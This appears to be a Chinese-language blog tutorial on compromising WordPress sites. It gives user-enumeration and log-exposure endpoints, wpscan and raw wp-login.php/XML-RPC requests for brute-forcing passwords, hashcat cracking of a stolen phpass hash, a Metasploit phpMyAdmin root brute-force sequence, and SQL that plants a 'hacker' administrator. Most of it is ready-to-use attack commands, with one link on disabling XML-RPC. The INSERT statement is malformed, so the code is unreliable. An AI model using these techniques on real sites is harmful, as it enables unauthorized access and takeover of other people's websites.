WordPress是一個以PHP和MySQL為平台的自由開源的部落格軟體和內容管理系統。根據統計,WordPress是最常被駭客攻擊的目標。
常見的威脅主要有三個
- 獲取敏感信息
- 爆破密碼
- 工具掃描
敏感信息
常見方法有以下幾種
查詢wordpress版本
訪問 /?feed=rss2 或 /feed,會返回以下內容,可知道版本<generator>https://wordpress.org/?v=6.5.3</generator>
查詢wordpress相關日誌
可訪問以下位置搜集情報
/wp-content/debug.log
取得網站的用戶名
可訪問以下位置搜集情報
/?author=1
/wp-json/wp/v2/users
/?rest_route=/wp/v2/users
檢查是否開啟用戶註冊
可訪問以下位置搜集情報
/wp-login.php?action=register
檢查xmlrpc.php
xmlrpc.php在低版本(3.6.1以下)存在 ssrf 可以嘗試讀取文件,其他版本可以使用它來爆破密碼
密碼爆破
常見方法有以下幾種
透過wpscan 爆破進入後台
使用wpscan預設字典爆破用戶名
sudo wpscan --url "http://www.wptest.com" -e u
使用指定字典爆破使用者名稱和密碼
sudo wpscan --url "http://www.wptest.com" -U /usr/share/wordlists/wfuzz/others/names.txt -P /usr/share/wordlists/rockyou.txt
針對用戶名爆破密碼
sudo wpscan --url "http://www.wptest.com" -U admin -P /usr/share/wordlists/rockyou.txt
wp-login.php
直接登入爆破後台帳號密碼(建議使用 burp 抓包進行爆破)
POST /wp-login.php HTTP/1.1
Host: target.com
log=admin&pwd=BRUTEFORCE_IN_HERE&wp-submit=Log+In&redirect_to=http%3A%2F%2Ftarget.com%2Fwp-admin%2F&testcookie=1
xmlrpc.php
透過 xmlrpc.php 來批次爆破使用者名稱和密碼(速度很快),透過修改標籤來批次爆破使用者名稱或密碼
POST /xmlrpc.php HTTP/1.1
Host: target.com
<?xml version="1.0" encoding="UTF-8"?>
<methodCall>
<methodName>wp.getUsersBlogs</methodName>
<params>
<param><value>user01</value></param>
<param><value>pass01</value></param>
<param><value>user02</value></param>
<param><value>pass02</value></param>
</params>
</methodCall>
ps:要關閉XMLRPC的功能,主要有四個方法,可參考 https://blog.hungwin.com.tw/wordpress-disable-xmlrpc/
Hashcat解密使用者Hash
如果透過sql注入漏洞查詢到使用者的Hash,可以用Hashcat 破解相對應的Hash 進入後台
假如hash為$P$B7ak3qT3j.2y3UPGato2rbatl58FIF,使用rockyou字典檔破解wordpress密碼方式如下
# echo $P$B7ak3qT3j.2y3UPGato2rbatl58FIF > hash.txt
# sudo hashcat -a 0 -m 400 hash.txt /usr/share/wordlists/rockyou.txt
相關參數說明如下
- -m 400 指定正在破解的雜湊類型(phpass)
- -a 0 表示字典攻擊
入侵phpmyadmin修改Wordpress管理員密碼
透過掃描目錄得到phpmyadmin位置,然後爆破或其他方式得到登錄密碼。入侵進去後在取代或修改相關管理員的Hash來成功登錄wordpress的後台
透過MSF爆破phpmyadmin的root密碼
msf> use auxiliary/scanner/http/phpmyadmin_login
msf auxiliary(scanner/http/phpmyadmin_login)> set rhosts www.wptest.com
msf auxiliary(scanner/http/phpmyadmin_login)> set rport 80
msf auxiliary(scanner/http/phpmyadmin_login)> set targeturi /phpmyadmin/index.php
msf auxiliary(scanner/http/phpmyadmin_login)> set threads 100
msf auxiliary(scanner/http/phpmyadmin_login)> set stop_on_success true
msf auxiliary(scanner/http/phpmyadmin_login)> set username root
msf auxiliary(scanner/http/phpmyadmin_login)> set pass_file /usr/share/wordlists/metasploit/password.lst
msf auxiliary(scanner/http/phpmyadmin_login)> set user_as_pass true
msf auxiliary(scanner/http/phpmyadmin_login)> run
以下註釋為下面命令的解釋
- use 進入模組
- rhosts 設定目標的位址
- rport 目標端口,注意 https 的目標需要開啟 ssl 為 true
- targeturi 設定目標 phpmyadmin 的 url 路徑
- threads 設定線程數
- stop_on_success 爆破成功一就停止
- username 設定使用者名稱
- user_file 設定使用者名字典
- pass_file 設定爆破密碼字典
- user_as_pass 把使用者也當作密碼嘗試
爆破成功後新增帳號或修改密碼
新增帳號SQL語法如下,hash密碼為adminadmin
INSERT INTO wp_users (ID, user_login, user_pass, user_nicename, user_email, user_url, user_registered, user_activation_key, user_status, `display_``)
(2, 'hacker', '$P$B7ak3qT3j.2y3UPGato2rbatl58FIF/', 'admin', 'demo@xp.cn', '[http://www.wptest.com](http://www.wptest. com/)', '2020-09-10 08:06:44', '', 0, 'admin');
修改密碼SQL語法如下,Hash密碼為adminadmin
UPDATE wp_users SET user_pass="$P$B7ak3qT3j.2y3UPGato2rbatl58FIF/" WHERE ID = 2;
工具掃描
常見掃描工具有以下3個
- wpscan
- WordPresscan
- wpscan-go
wpscan
使用wpscan 進行掃描,如果有--api-token
掃描的插件可以自動去官網進行相關漏洞的查詢,不然只能手動到官網進行相關漏洞的查詢
- 掃描相關外掛程式漏洞
掃描插件漏洞,可到https://wpscan.com/plugins查詢相關漏洞
sudo wpscan --url "http://www.wptest.com" --enumerate p
- 掃描相關主題漏洞
掃描主題相關漏洞,可到https://wpscan.com/themes查詢相關漏洞
sudo wpscan --url "http://www.wptest.com" --enumerate vt
- 其他wpscan掃描漏洞命令
sudo wpscan --url "http://www.wptest.com" --enumerate vp,vt,tt,u
WordPresscan
WordPresscan是一款針對wordpress的漏洞掃描工具。該專案使用python2開發的,所以需要使用python2運作
GithHub專案網址:https://github.com/swisskyrepo/Wordpresscan.git
使用命令參考如下
python2 wordpresscan.py --aggressive --random-agent -u "http://www.wptest.com" --threads 100
wpscan-go
wpscan是用Go開發的CMS WordPress中的漏洞辨識工具。
GithHub專案網址:https://github.com/krishpranav/wpscan
使用前需要下載項目並進行編譯
git clone https://github.com/krishpranav/wpscan
cd wpscan
go get
go build main.go
使用命令參考如下
./main -u "http://www.wptest.com" --aggressive-mode